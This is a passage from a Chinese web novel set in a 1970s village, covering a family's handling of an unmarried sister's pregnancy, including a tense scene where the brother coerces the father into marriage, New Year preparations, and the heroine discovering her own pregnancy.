傅青山闻声看向傅青宁,傅青宁突然皱眉,捂着嘴下炕跑出去,院里传来一阵呕吐声。 傅大嫂和老三媳妇怀孕的时候傅青山都在外边当兵,自然不懂女人呕吐是早孕反应,往窗外看了眼,问他娘:“青宁病了?什么时候的事?不行得上医院看看。” 傅老太这辈子假嚎过无数次,唯有这一次,是真想对着老天嚎一顿发泄发泄,但偏偏还得瞒着不敢让人知道,第一次体会到深夜独自抹泪的滋味。 傅老太又抹了把眼泪:“你妹妹她怀孕了……” 傅青山怔住,片刻后才反应过来,结合前段时间闹过的那一场,自然不难想到孩子是谁的。 虽然他一万个看不上蒋有年,但傅青宁已经有了孩子:“既然有了孩子,那就该定亲定亲,该结婚结婚。” 一说到定亲结婚,傅老太就憋屈:“可那个蒋知青不承认孩子是他的!” 傅青山皱眉,把傅青宁叫进来:“孩子是不是蒋有年的?” 傅青宁吐得嘴唇都白了,耷拉着脸点了点头。 傅青山:“那他不承认是想不负责任?” 傅青宁摇头:“跟他没关系,他不是不想负责任,他说是因为我没有城镇户口,他父母才不愿意的。” 傅青山少有的忍不住想骂人,但傅青宁毕竟是他唯一的妹妹,吐得一脸憔悴的样子,他忍了再忍才没骂出口,耐心道:“他父母可以不愿意,但他不能不承认孩子是他的!” 这是两回事,都什么时候了,他这个傻妹妹还被迷得团团转! 傅老太缩缩脖子:“要是咱们给青宁嫁妆准备得厚厚的,想来他爹娘也不会再反对吧?” 老三媳妇在傅大嫂屋里一块听着,闻声听不下去,过来直接道:“厚厚的?多厚?你们谁愿意多出就多出我没意见,反正我们三房就出5块钱,当初你们家就是20块钱把我娶回来的!” 傅老太刚想嚎,一想到这是丢她闺女的人,又强压住,恨恨地看着老三媳妇:“你就不顾你妹妹的死活?” 老三媳妇本就厌恶傅青宁天天对她趾高气扬、吆五喝六的样子,再加上上次谢晚棠好心提醒,被这娘俩反咬一口弄一身屎的恶心经历她还记着呢,她才不会掉一个粪坑里两次:“她平时也没管过我们的死活啊!” 一句话噎得傅老太和傅青宁都没话说。 傅青山皱眉,对老三道:“你去把蒋有年叫过来。” 傅老三:“现在?” 傅青山深吸一口气,还没说话,老三媳妇就白了自家傻逼男人一眼:“当然是现在!不然还能等着生了?!” 傅老三:“……” 朝他吼什么啊,又不是他未婚先孕! 傅老三看了一眼二哥,见二哥脸冷到极点,麻溜下炕穿鞋去叫人。 没想到人家蒋有年根本不理他,把他拒之门外,不来。 傅老三气得跑回来跟傅青山说,傅青宁在旁边听着,眼泪吧嗒吧嗒往下滴。 屋里安静得落针可闻,蒋有年这个坚决的态度,一时谁都没了主意。 傅青山看着傅青宁:“他的态度你看到了,把孩子打了,家里人给你保密,以后从头开始。” 傅青宁摇头:“我不,我不要打掉,我要生下来。” 老三媳妇都听不下去:“你一个没结婚的姑娘家,真要是生下来,脊梁骨都得让人戳穿了!” 傅青宁抱住二哥的胳膊,犹如抱住救命稻草:“二哥,我要嫁给他,然后生下这个孩子,你帮帮我,你帮帮我吧!我求你了,我给你跪下!” 说着,傅青宁跪在他脚下,给他磕头。 傅青山看不下去,烦躁得一把把人拉起来,拽着她的胳膊让她抬头:“你要选的这条路,是最难的路,一个你为他怀了孩子他都不想娶你的男人,你硬要嫁给他,你觉得以后会有好日子吗?” 傅青宁哭着摇头:“我不管那么多,我就是喜欢他,我愿意给他生孩子,我愿意,二哥,我知道现在只有你能帮我,求求你了,你就帮我最后一次吧,如果连你都不帮我,孩子我也不打了,我直接去死了算了!” 傅青山皱眉看她:“你今天自己选的路,以后不论什么结果,都只能自己承受。” 傅青宁吸吸鼻子:“我愿意,只要能嫁给他。” 傅青山从老房子出来没有回家,直接去了蒋有年住的地方。 蒋有年一开门见是他,抬手就要关门,被他一把挡住,伸手拽住蒋有年的衣领,以绝对的力量优势把人拉出来。 蒋有年虽然不想负责,但也心虚,不想弄得人尽皆知,被傅青山连拖带拽地一路拖到他平常和傅青宁约会接头的小河边。 冬日里河面结了冰,北风吹着嘎嘎冷,他从炕上下来的时候没穿棉袄,只一件旧毛衣,根本不顶风,冻得直哆嗦,上牙打下牙。 傅青山:“做过的事不想负责?” 傅青山的声音比这冬日的寒风还要冷,蒋有年闻声一哆嗦,还想狡辩:“我是做过,可你能保证你妹妹只跟我一个人做过吗?凭什么就说是我的?” 傅青山闻声攥拳,如果不是妹妹以死哀求,这种男人,他连多看一眼都觉得恶心! 因为之前被傅青山踹过一脚病根子,蒋有年原本有点怕傅青山,但看现在傅青山为了妹妹不得不低头的样子,他心底暗爽,不禁想报仇,故意恶心他:“这种事可不是张口就来的,你有证据吗?那我还说我跟你老婆做过呢,你老婆的腰和屁股那叫一个——” 蒋有年还没说完,傅青山一把拽着他的领子,把他拽到结冰的河边,抡起一块石头,就在蒋有年吓得以为傅青山要朝他头砸过来的时候,傅青山一石头砸在厚厚的冰层上。 冰层被砸开一个大窟窿,蒋有年刚长舒一口气,下一秒,就被傅青山摁着脖子,朝那个冰窟窿摁去。 他吓得用尽全身力气挣扎,却根本不是傅青山的对手,听村里人说傅青山以前在部队的时候,战场上杀人无数,眼睛都不眨一下,傅青山手上的力道不容置疑地朝下—— 脸越靠近冰窟窿,水里的寒气逼来,争先恐后地要钻进他的毛孔,他吓得惊叫,却在叫到一半时被摁进冰水里,整个脸瞬间如小针扎一般刺骨地疼痛,还有随之而来的强烈窒息感。 他下意识扑腾挣扎,然而在傅青山强大的力量面前杯水车薪,深深地无力感和对死亡的恐惧让他后背冒出一层又一层的冷汗。 傅青山要杀人,傅青山要杀了他! 就在濒临窒息的最后一秒,傅青山松开钳制他的大手,把他从冰水里拎出来,他大口大口地呼吸,脸上冰冷的水几乎瞬间要结冰,他不可置信地望着傅青山:“你不敢杀我,你杀了我你也得死!” 傅青山冷哼一声,拍拍他的脸:“我不会杀了你,但我有无数种手段,让你生不如死。” 傅青山的声音冷得像地狱索命的厉鬼,蒋有年手控制不住地哆嗦:“你,你就不怕我去告你?!” 傅青山冷冷地看着他:“这里就咱俩,你有什么证据?凭你张口就来?” 傅青山用他刚刚胡搅蛮缠的话回应了他的问题,他感觉,他要是敢说一句不娶傅青宁,傅青山下一秒就会把他重新摁进这冰水里,一点一点地折磨他,直到他的意志彻底崩溃,举手投降为止。 那透骨的寒,那濒临死亡的窒息感,他尝过一次就心悸。 傅青山远比他想象中更狠、更可怕。 蒋有年哆嗦着:“我,我娶傅青宁。” 傅青山沉默片刻,一把扔开他:“年前,带着你的父母上门提亲。她怀着你的孩子,让她高兴点。否则,谁都别想过好这个年。” 蒋有年哪还敢有半句反驳:“是,是。” 傅青山转身离开的时候无声叹息,这就是傅青宁选的男人,没有担当、欺软怕硬,稍微一吓就怂成这个样子,最垃圾的男人。 但就像他对傅青宁说过的,自己做的选择,将来无论什么结果,都得自己咬牙承受。 他一个当哥哥的,只能忠告到这里。 傅青山突然感觉很累,从来没有这么累过。 明知道妹妹嫁给蒋有年不会有好结果,但事已至此,他只能将错就错地走下去。 到家的时候,谢晚棠趴在被窝里写写画画,看到他回来,把本子笔收起来,过来摸摸他额头:“二哥,总皱眉会老哦。” 傅青山深吸一口气,调整好情绪,两人躺在被窝里,他把今晚的事告诉谢晚棠。 谢晚棠并没有发表意见,只是往他怀里靠了靠:“二哥,你跟我说过,每个人的命都是自己选择的。” 傅青山点头,摸着她的发梢:“对,都是自己选择的。” 翌日是小年,大队在广场杀猪分猪肉,乡亲们早早端着盆到大队部排队等着,排到前边就可以要块肥的位置。 21世纪精肉最贵,可在70年代,一大家子一年到头就吃十几斤花生油,油水根本不够,过年过节分猪肉的时候都想要肥的回去练点猪油好留着炒菜吃。 平时他们在镇上黑市买猪肉的时候,也是肥肉比瘦肉贵。 特殊的历史时期,造就了特殊的物价。 谢晚棠不想要肥的,天又冷,她约摸着时间,估计大家都把肥肉抢个差不多了,才端着盆出门。 到大队部,果然肥的早都抢光了,光剩最瘦的部位了。 每家的份例是10斤猪肉,谢晚棠看还有4个猪蹄,跟林大力申请:“林队长,给我把那4个猪蹄秤上吧,从10斤肉里扣。” 林大力拿起来那4个大猪蹄一秤,足足有4斤半多。 林大力犹豫了下,跟计数的会计说了声:“你来的晚,光剩瘦肉了不划算,4个猪蹄,再给你7斤肉吧,也算是补偿补偿。” 谢晚棠没想到还有这样的好事,高兴地点头拿盆接着,计划着现在回去就泡上黄豆,泡到傍晚就差不多了,跟猪蹄一起焖了,香香糯糯,嘶溜~ 想想就美味! 今天是傅青山年前最后一天上班,下午她和兰兰在家准备饺子馅的时候,薛桂花过来。 薛桂花还是第一次来她家,进门看到亮堂的大房子,高兴得合不拢嘴,拉着她的手坐在炕沿上,眼眶泛红:“你过得好,娘就放心了!” 薛桂花过来是来告诉她腊月二十六让傅青山去喝定亲酒,谢晚棠不解:“喝谁的定亲酒?” 薛桂花拍拍她手:“咱家还能有谁啊!” 谢晚棠:“谢建国?刘翠芬家这么快就松口了?不嫌弃咱家穷了?” 薛桂花把门关上,压低声音:“翠芬怀孕了,老刘家这才松了口。” 谢晚棠震惊,第一反应:“咱村是中了邪了吗?” 一个一个都未婚先孕。 薛桂花不明白:“什么意思?” 谢晚棠懒得搭理傅青宁,连她的闲话也懒得说:“没什么。” 薛桂花嘱咐:“小棠,这事你知道就行了,可千万别说出去。” 谢晚棠点头:“放心吧娘。” 按理来说分了家,小年也是要凑到一起过的,但是上次傅青宁和傅老太来闹那一出,属实膈应了谢晚棠,她提前跟傅青山说好,小年她不会去老房子那边,他愿意去可以带着孩子们去。 傅青山连问都不用问就知道孩子们也跟谢晚棠一样不愿意去,点头,说他送碗饺子送碗肉过去就回来。 傅青山下班回来的时候,谢晚棠已经和孩子们做好了饭,给他弄出来一碗饺子,一碗黄豆猪蹄,傅青山衣服都没脱,直接端上给爹娘送过去,回来的时候,兰兰的菠菜炒蛋刚好出锅,一家人一起上炕围坐在一起吃小年夜饭。 黄豆焖猪蹄一上来就吸引了孩子们的注意力,兰兰给每人碗里给分上两块,大家直接上手抱着啃。 大锅焖了两个多小时,猪蹄都焖烂乎了,油全都焖了出去,刚好被黄豆吸走,啃起来一点都不腻。 今天发的肉多,谢晚棠还特地让兰兰在饺子馅里多放肉,除了几根大葱,剩下的全是肉,让孩子们吃个痛快。 一口咬下去满满都是肉的感觉,真是太爽了,二刚足足吃了三大碗,撑得都打嗝了才不舍地放下筷子:“过大年也可以在咱们自己家过吗?” 去奶奶那边,可吃不到这么好吃的东西,以前过年包饺子全都是白菜,一丁点肉,而且就算那样的饺子,他也只能分到三四个,哪能这么放开了吃。 二刚话落,所有人,包括谢晚棠,全都看向傅青山。 傅青山被看得一怔,虽然大家都没说话,但所有人的目光都对在自己家过年这件事充满了渴望。 傅青山想了想:“去走一趟,然后咱们回来吃。” 过大年不露面,说不过去。 孩子们闻声欢呼,谢晚棠对这个安排也满意,虽然她膈应那娘俩,但毕竟是过年,做做面子工程,她也可。 而且那边还有傅大嫂和老三媳妇,她大不了去找她俩说话,不看那娘俩就是。 吃过晚饭忙活完,小年夜街上玩的孩子多,傅青山把今晚的军体拳取消了,让孩子们也出去热闹热闹。 他把这个月的工资和票给了谢晚棠,谢晚棠拿出衣柜里的小钱盒点了点,盖完房子还不到三个月,他们竟然已经攒了快200块钱了! 除了傅青山每个月工资存下来的2/3,还有她这两个月做衣裳挣的50多块。 谢晚棠点出来整200单独叠好,对傅青山道:“等过完年银行上班了,先去给你战友汇一部分。” 傅青山点头,摸摸她头:“棠棠,这两个月你做衣裳辛苦了。” 她做衣服投机倒把挣钱是两人心照不宣的小秘密,听傅青山这么说,谢晚棠笑道:“我们本来就是一家人啊,说什么辛不辛苦的。” 谢晚棠把钱盒子放起来,突然想起来下午薛桂花来说的事,转头对傅青山道:“哦,对了,我娘下午来说,让你二十六去喝定亲酒,我哥要结婚了,那个,说来真巧,刘翠芬也怀孕了……” 她嫂子和他妹妹都未婚先孕,都着急定亲结婚,真是绝了。 本来就不是爱议论人的性格,再加上已经被自己的亲妹妹雷到过,再听到刘翠芬怀孕,傅青山倒也没太大震惊,只点头嗯了声,表示知道了。 傅青山对别人的事没多大兴趣,上炕把人揽到怀里:“你这例假一直不来也不是个事,明天放假了,要不我再带你去找那个老大夫看看,别拖时间长了,拖成了大毛病。” 谢晚棠掐算了下日子:“明后天得进城置办年货、还有定亲和结婚要*送的东西,回来还得蒸下过年的大饽饽、枣饽饽和豆包干粮,我哥二十六定亲,你妹二十八定亲,现在就是去看了回来也没时间熬药啊,还是等过完年,都忙利索了再说吧!” 第70章 喜脉!都三个月了,男女都能摸出来了! 翌日。 傅青山开始歇班放年假,学校和大队也都放假了,全家一起在家大扫除。 下午傅大嫂和老三媳妇过来跟谢晚棠约好,明天一块去镇上赶大集买年货。 今年分了家,又跟着谢晚棠做衣裳挣了钱,可以好好置办年货过个年了,不用像往常似的看老太太的脸色。 傅大嫂和老三媳妇都不会骑车子,以前她们不管钱,有傅青宁在,也轮不着她们出去花钱,根本没有骑车子的机会。 谢晚棠去大队部借了车子带着傅大嫂,兰兰骑着傅青山那辆带着老三媳妇,一起去镇上赶大集。 路上,老三媳妇说蒋有年昨天来了一趟,把傅青宁高兴得一天都笑呵呵的,就连恶心吐都是带着笑的。 谢晚棠:“……” 抱歉,她有点想象不出来怎么笑着吐。 傅大嫂叹了口气:“蒋知青在村里连个房子也没有,现在跟其他知青合住的地方是大队的,等着结了婚,就得住西间。” 老三媳妇撇撇嘴:“能住西间还得感谢二哥二嫂盖了新房子搬出去了,不然西间都没的给他们住,得跟爹娘结在一铺炕上。” 谢晚棠:“……” 老三媳妇有点好奇:“也不知道二哥怎么跟那个蒋知青说的,之前高傲得很,还不想负责,二哥去找完,突然就愿意了,连嫁妆都不挑了。” 傅青宁的嫁妆定了30块钱,三个哥哥一家出5块,傅老太又给闺女贴补上15。 谢晚棠没听傅青山回来说怎么跟蒋有年说的,但是像蒋有年那种垃圾渣男,估计光靠嘴说是很难说动的。 当初蒋有年骚扰她,傅青山都能一脚踹了蒋有年的命根子,现在蒋有年欺负了他妹妹还不想负责,她想不到傅青山会对蒋有年温柔以待的理由。 年根的大集热闹,熙熙攘攘,人来人往。 谢晚棠在家就列好了计划,红豆、豌豆、白面、大枣、粉条、瓜子…… 傅大嫂和老三媳妇也是目标明确,很快在大集采购齐全,大家又骑车子去供销社买糖。 供销社买糖需要票,傅大嫂和老三媳妇没票,谢晚棠就把傅青山发的糖票匀给她俩用。 谢晚棠主要买的大白兔奶糖,又配上了些高粱饴和牛轧糖,还买了些孩子们喜欢的杏干、桃酥和小麻花。 大白兔奶糖最贵,傅大嫂没舍得买太多,倒是老三媳妇,难得自己挣了钱,谢晚棠又阔绰愿意给她们用票,跟着谢晚棠每样都来上一大把,桃酥和小麻花也一样来了一包,把身上带的5块钱全花光了,美滋滋地出了供销社大门。 自己挣钱自己花的感觉真好! 想怎么花就怎么花! 她现在就希望来找谢晚棠做衣裳的人越多越好,她有一身的劲,现在就愿意干活挣钱! 买完年货,三个人又买上年后结婚要送的脸盆、暖壶和毛巾,谢晚棠还得买两份。 置办了满满两大车子的东西,大家开开心心、说说笑笑回下沟村。 腊月二十六,谢建国定亲。 谢晚棠和傅青山去了才知道,彩礼就给了50块钱。 之前刘翠芬家坚持要100块钱彩礼外加三转一响,现在不光三转一响没了,彩礼还打了折扣。 刘翠芬时不时忍不住跑出去吐,谢建国跟着跑出去关心,刘老汉听着闺女又呕又吐的声音,脸黑得跟锅底似的,但是因为没了主动权,也拿不了架了。 反倒是老谢家,从谢老太到谢老爹,一个个翻身了一样,一脸的骄傲劲儿。 书里因为开篇就早早把她卖了给谢建国换了彩礼,娶了刘翠芬,所以并没有刘翠芬未婚先孕这一段剧情,刘翠芬和她爹娘一直是高高在上的,刘翠芬嫁过去对薛桂花这个软柿子婆婆拿捏得死死的。 如今因为谢晚棠改变了剧情,她竟和谢建国弄出个孩子来,形势瞬间变了。 虽然就刘翠芬曾经的行为来说,如今的结果算是活该,但谢晚棠冷眼旁观,感触颇深, 心里暗暗记下,等兰兰和妞妞成年前,一定要给她们上好女生自我保护这一课。 女孩子,永远不要做未婚先孕这种事,因为人性是经不起考验的,因为真正为你考虑的男人,不会让你承受这样的压力。 吃完饭回来,下午谢晚棠就把红豆和豌豆泡上了,泡一晚上,明天上午好上大锅蒸。 翌日上午,傅青山吃过早饭就去老房子那边了,商量准备明天傅青宁定亲的事。 因为见识过了昨天谢建国定亲的场面,谢晚棠几乎可以预料到明天会出现的场面。 人都要为自己的行为和选择付出代价。 给两个大锅蒸上两锅豆包馅,一锅红豆,一锅豌豆,大刚和二刚一人负责烧一个锅。 兰兰和面发面,两个小的在院子里喂鸡喂鸭喂兔子喂小狗,也是忙得很。 下午,谢晚棠和兰兰在炕上包豆包,两个小的还是帮着来团团子,等包好了,大刚二刚两个火工继续烧火,晚饭前,两大锅白胖白胖的香喷喷豆包就出锅了! 谢晚棠也没那么多规矩,看孩子们馋,就一人发了一个,趁热先垫一垫。 傅大嫂和老三媳妇也在家准备,打发大仓和大刚来送豆腐和卷煎,谢晚棠一人给拾上一盆刚出锅的豆包,外加4个咸鸭蛋让他们带回去。 晚上把卷煎切片,又炒了个白菜豆腐粉条肉,刚出锅的红豆包和豌豆包,就着腌得流油的咸鸭蛋,一家人吃得有滋有味。 唯一美中不足就是老三家送来的两条卷煎,给孩子们吃出了馋虫。 二刚嘿嘿一笑:“娘,咱能自己在家做卷煎吃吗?” 两个小的闻声也直舔嘴唇,眼睛亮晶晶地看着她,对她充满期待。 谢晚棠挠挠头,说实话,她也没吃够,不过卷煎这东西看着简单,就鸡蛋皮里摊上肉馅卷起来,但其实技术含量还是挺高的。 就说这层又薄又大的鸡蛋皮吧,就不是谁都能摊出来的。 谢晚棠想了想,摸摸孩子们的头:“明天我去请教一下你们三婶婶。” 妞妞开心,扬起唇角:“好!” 翌日。 傅青宁定亲。 果然不出谢晚棠预料,蒋有年的父母眼睛长在头顶,对傅老太傅老汉和傅青宁连个正眼都没有,张口闭口都是城里人的优越感,瞧不起农村人。 谢晚棠撇撇嘴,不就是在工厂当个工人,还至于这样了?真是有什么样的父母,才会有什么样的孩子。 许是听蒋有年说过傅青山在镇上当官,两位优越的城里人只对着傅青山陪笑脸,偏傅青山是个冷脸的,也是尴尬的很。 蒋有年脸上一点看不到结婚的喜悦,倒是傅青宁,嘴角的笑就没有停过,平时在家懒得像大小姐,对着未来的公公婆婆,怀着身孕也愿意勤快地端茶倒水,做好媳妇样。 除了傅青山,屋里都是她讨厌的人,谢晚棠懒得多呆,拉着老三媳妇去南屋学习卷煎的制作技巧。 老三媳妇闻声笑了:“摊蛋饼的技巧?没什么技巧啊,就那么摊呗!” 谢晚棠:“……” 宝,不带这样凡尔赛的哦。 老三媳妇笑:“要不下午我去你家摊一次,你看看,你感觉有什么技巧,你就用,我觉得是真没什么技巧。” 不出谢晚棠所料,蒋有年的父母牛逼哄哄,最后就出了20块钱彩礼,一副爱嫁不嫁的态度。 傅老太虽然一肚子火,但也只能憋着陪笑脸,咬碎了牙往肚子里咽,谁让她的闺女大了肚子! 下午老三媳妇准时过来传授摊蛋饼技巧,傅青山原本在院里钉兔子笼,老三媳妇搅蛋的时候,谢晚棠出去搅他:“二哥,可以进来学习了!” 傅青山点了点头,洗洗手进来了。 老三媳妇早就听大嫂说二哥在家做饭刷碗一把好手,但今天还是第一次见。 她演示了一遍摊蛋饼,兰兰说想试试看,她就闪开地方,兰兰摊得还行,就是有点厚,她拍拍兰兰肩膀,学着谢晚棠做衣裳时鼓励她的语气:“没事兰兰,第一次做成这样已经很好了,下次会更好!” 兰兰摊完,傅青山接过去碗,几乎是复制了她的手法,第一次就摊出了一张又大又薄的完美蛋饼。 老三媳妇瞪大眼,震惊地看着二哥,心里想着,今晚回去就教着老三做饭! 谁说男人就做不好饭,看看人家二哥,上得厅堂下得厨房,她家老三那个窝囊样上得厅堂就不指望了,先把下厨房下明白吧! 晚上傅老三突然被媳妇揪着耳朵烧火做饭,还不知道自己是跟着好二哥沾的光。 腊月二十九,临近年关,傅青山又去了一趟镇上,买了些猪下货和肋条回来留着做年夜饭。 谢晚棠和兰兰忙活着蒸大饽饽、枣饽饽、小供养和乾陵。 后世社会分工越来越详细,这些东西都有专门制作的地方,做成礼盒来买,虽然很方便,但也确实少了很多年味。 蒸上满满一大锅干粮,开锅的时候白面的香甜染满当门,两个小的在院里跟小狗玩,都忍不住嗅嗅鼻子,跑进来扒着家门闻。 这个年代白面是稀罕东西,又没后世那么多糕点甜品诱惑,白面大饽饽就是好东西了。 不过这些都是有数的要供奉的,得等着过了初二,送完年才能撤下来吃,谢晚棠就先拿了桃酥来让孩子们解解馋。 转眼就是大年三十,傅青山一早起来就带着三个刚贴春联,吃过早饭去上坟,午睡起来,开始忙活做晚上的年夜饭。 因为之前就说好了,只去老房子那边逛一圈就回来,所以谢晚棠计划的年夜饭很丰盛。 四个荤的有卷煎、糖醋小排、辣炒大肠、凉拌手撕猪心。 四个素的是苔菜炒蛋、南瓜炖肉,醋溜土豆丝、凉拌菠菜。 还有一个汤,是大家之前都喜欢的银耳红枣羹。 大刚二刚烧火,傅青山和兰兰一人一个大锅同时开炒,谢晚棠负责拌两个凉菜,小刚和妞妞往炕上收拾桌子和碗筷。 吃过丰盛的年夜饭,一家人一起包好晚上要下的饺子,然后才出发去老房子。 因为傅青宁定亲定得窝囊,傅老太过年都没什么好心情。傅青宁怀着身孕,又是她的宝贝闺女,她没法发泄,就张口闭口地找傅大嫂和老三媳妇的事,吹毛求疵地想发泄骂人。 两人分了家,现在过得好,才不看她脸色,见谢晚棠来了,就拉着谢晚棠去南屋说话,留几个男人在屋里说话,孩子们在院子里玩。 气氛压抑,别说谢晚棠了,傅青山也不愿意多呆,不过半个小时,就带着谢晚棠和孩子们走了。 傅青山给孩子们买了滴滴金,让他们在院子里玩,谢晚棠坐在当门口的小板凳,托着腮看着院子里奔跑的孩子们和金光闪闪的亮光,勾起童年的许多记忆。 小时候,她过年也是这么快乐的。 后来长大了,生活越来越好,反而越来越没有过年的感觉了。 一直等到12点下饺子,供了祖先后,一家人一起围坐在一起吃饺子。 不知不觉一年就过去了。 已经是1973年啦! 正月里走亲戚串门,忙完两个婚礼,又过完元宵,才算是能歇口气。 一直到傅青山上班前一天,她的例假还没来,已经两个多月了,不疼不痒的,除了过年这段时间累得爱睡觉,她倒是感觉没什么事,但傅青山不放心,坚持要带她去看大夫。 上次来认了路,这次没叫刘秀香,傅青山骑车子直接带谢晚棠来了老大夫家。 老大夫还记得她,进门就问她怎么样。 谢晚棠叹气:“当月挺好的,后来就不太好了,快两个月了,例假一直不来。” 老大夫闻声抬手搭脉,叹了口气:“不来就对了!” 谢晚棠不明白。 老大夫抬了抬圆片小眼镜:“是喜脉!” 谢晚棠……???? 要不是吃了老大夫的药没痛经,谢晚棠都要怀疑他的医术了:“不能吧……您会不会是把错了,您再试试这个手呢?” 老大夫摆摆手,非常自信:“我十六岁就跟着我太爷爷行医,把过的喜脉无数,还从来没有把错过!” 谢晚棠还是不信:“可我也不吐啊!” 傅大嫂和老三媳妇都说怀孕会吐,她也亲眼见着傅青宁和刘翠芬吐得止都止不住。 老大夫啧了声:“谁说怀孕了就非得吐,你这都三个月了,男女都能摸出来了,我还能摸错了?” 谢晚棠…… 谢晚棠下意识回头看傅青山,傅青山的冰山脸都难得露出笑意。 她小心翼翼跟老大夫确认:“就算精子劣……质量一般,能过三个月,是不是也不会再胎停了?” 老大夫……?? 傅青山……?? 70-80 第71章 我们是夫妻,有什么不好意思看的? 老大夫皱眉不解,奇怪地看着她:“什么胎停?什么质量一般?你这喜脉强健有力,胎稳得很,连保胎药都不用吃!” 谢晚棠闻声又惊又喜:“他下边受过伤真的一点都不影响吗?!” 傅青山……?? 大腿根受过伤还影响孩子了? 老大夫记得给傅青山把过脉,当时脉象很好,没什么问题啊,他皱眉看向傅青山:“你下边什么时候受过伤?伤到什么程度?” 傅青山指了指大腿内侧:“7年前,子弹擦着大腿里子过去,蹭掉了一块肉。” 他不理解他的大腿根,跟谢晚棠的胎稳不稳有什么关系。 谢晚棠闻声,诧异地看了一眼傅青山,又垂眸隔着裤子打量他下边,所以不是命根子受了伤,是命根子下方的大腿里子受了伤?! 没搬家那会,他们都是趁孩子们不在家关上灯偷偷摸摸的,黑灯瞎火的,她哪里看过傅青山下边啊。 后来搬了家,孩子们分出去了,倒是能开灯了,但是开着灯她又害羞,哪好意思往下细看啊!傅青山能用又好用,而且她也怕傅青山敏感,就从来没有细看过他受伤的地方什么样。 极近的距离,傅青山被谢晚棠直直地盯着哪里,身体竟不自觉地起了反应,好在冬天的裤子厚,他轻咳一声,掩饰过面上的不自然。 老大夫闻声:“……” 两小口搞什么!溜他老头子呢! 老大夫无奈:“一丁点都不会影响到孩子的!大儿子跳得很有劲,放心吧!” 吃过早饭,傅青宁在当门刷碗,蒋有年躺在西间炕上翘着二郎腿看书。 结婚一周了,婚后的生活跟傅青宁期待和想象中完全不一样。 蒋有年婚后像换了一个人,不再像当初跟她在河边约会时那般温柔深情,甚至晚上睡觉都不愿意靠着她,她不论是撒娇、生气还是赔笑脸,都换不来他一个好脸色。 她越想越觉得身心疲惫,放下手里的碗,去西间关上门,质问蒋有年既然这样,当初为什么还要娶她。 蒋有年冷漠地看着她:“如果不是你二哥威胁我,你以为我愿意娶你?” 说完背过身去,仿佛看她一眼都嫌脏。 傅青宁哭着摇头:“我没有让二哥威胁你,我真的没有啊!” 她只是求二哥帮她,她只是想嫁给蒋有年,嫁给一个喜欢的人而已。 她掰着蒋有年的胳膊:“你告诉我,我二哥,他怎么威胁你的?” 蒋有年哼了声,甩开她粘满洗碗水的手:“告诉你有什么用?” 傅青宁红着眼睛:“如果我二哥真的威胁了你,我去给你讨回公道!” 蒋有年因为谢晚棠被傅青山踢过一次命根子,又被傅青山逼着娶了傅青宁,本就一肚子怨恨,看谢晚棠和傅青山日子过得越来越好,心里一万个不舒坦。 蒋有年翻身坐起来,蛊惑地看着傅青宁:“好啊,那我就告诉你二哥都做了什么,看你能不能去给我讨回公道。” 他过得不舒坦,谢晚棠和傅青山也休想过好了! 来看例假的,结果回去肚子里就揣了个小崽崽,谢晚棠还是感觉迷迷瞪瞪的。 听老大夫说是个儿子的时候,还是有那么一点点小失落的,虽然家里三个刚也很懂事,但她还是更喜欢和妞妞兰兰那样软乎乎的小棉袄。 不过,她很快就没时间想这些有的没的了。 回去的路不长,她沉浸在震惊的喜悦和迷茫中,而傅青山则用这一路,在捋她说的那些奇怪的话和反应。 到家,两人回到炕间,傅青山把门关上,问出了他的疑惑:“精子是什么?” 谢晚棠:“……” 谢晚棠很为难地指了指他下边:“就是你每次弄到外边那些白的……” 这个解释跟傅青山猜想的差不多,但他随即皱眉:“所以你之前觉得我的精子质量不行?就因为我大腿受过伤?” 谢晚棠:“……” OMG! 死亡之问!!! 大佬皱眉凝视,压迫感好强! 谢晚棠缩缩脖子:“不是我觉得,是所有人都这么觉得。” 傅青山……???? 谢晚棠想了想又觉得不准确,纠正道:“因为大家不知道你受伤的地方是大腿根,她们都传的是……” 傅青山:“是什么?” 谢晚棠:“……” 她跟着下沟村的老司机们还是没有练出来!蛋蛋这种词她还是没办法光天化日地直接说出来啊! 谢晚棠轻咳一声:“装精子的地方……” 傅青山……?? 傅青山不可思议地看着谢晚棠,他在村里的风评竟然是这样?而且这样的风评下,谢晚棠居然还愿意嫁给他?他都不知道该不该感激谢晚棠的不嫌弃之恩了…… 傅青山扶额:“谁传的?” 谢晚棠抿唇,如实交代:“不知道最开始是谁传的,反正后来都这么说……” 又不是她传的,她为什么脸这么烫啊! 傅青山垂眸看她:“你都看过用过那么多次,还不知道?” 谢晚棠:啊啊啊啊啊!!! 谢晚棠感觉自己的脸都要烧起来了,低头看着自己的鞋:“我哪好意思看你那儿啊……” 傅青山清冷中带一点小委屈的声音自头顶传来:“我们是夫妻,你不是说夫妻是最亲密的关系,那有什么不好意思看的,你的身体哪里我都仔细看过,你为什么不愿意看我的——” 谢晚棠实在是听不下去了,一把捂住傅青山的嘴! 什么叫她的身体他哪里都仔细看过啊!!! 傅青山那漆黑如夜的眼眸中也带着一点小狗狗的委屈样儿,谢晚棠真是!哥啊!要不要给你录下来,你自己听听你都说的啥!这是大白天就能说的话嘛! 谢晚棠深吸一口气,彻底投降:“二哥,我现在知道你很厉害了!真的!而且我肚子里的崽崽不就是最好的证明嘛!” 谢晚棠挪开手,傅青山看她片刻,又皱起眉头:“可你说过你不想生孩子。” 谢晚棠:“……” 她以前说过这么多话嘛?! 真是为了掩盖一个谎言要用无数个谎言去圆啊! 谢晚棠叹气:“我那不是觉得你生不出来孩子,不想让你自卑嘛,就跟你说不想生孩子。” 说着说着看傅青山胸膛又开始起伏,谢晚棠话锋一转:“我也确实不愿意生太多孩子啦,不过一想到肚子里的崽崽是缩小版的你,我就觉得好期待啊!” 谢晚棠说的是心里话,虽然她也喜欢傅青山现在顶天立地的男人模样,但也不免好奇,傅青山小时候会是什么样? 总不会从小就是冰山小朋友吧。 她搂住傅青山的脖子:“你小时候什么样啊?是不是白白嫩嫩很好看,很讨人喜欢?” 傅青山上半身和脸上露出来的地方是太阳晒过的小麦色,腿常年不见阳光,就特别白。 傅青山怔了下,抬手轻轻抱住她的腰:“不要像我,我小时候不讨人喜欢。” 大哥是长子,老三嘴又甜,妹妹是家里唯一的女孩。 他从小就不爱说话,没什么亮点,也不讨人喜欢。 从小在蜜罐里长大的谢晚棠听着傅青山淡淡的话,说不出是个什么滋味,她踮起脚尖,轻轻啄了下傅青山的唇:“他不需要讨人喜欢,我们喜欢他就够了。” 想了想,谢晚棠又认真地看着傅青山,补充了句:“你也是。” 喜欢你的人,就是喜欢你,不需要你做什么讨喜的行为。 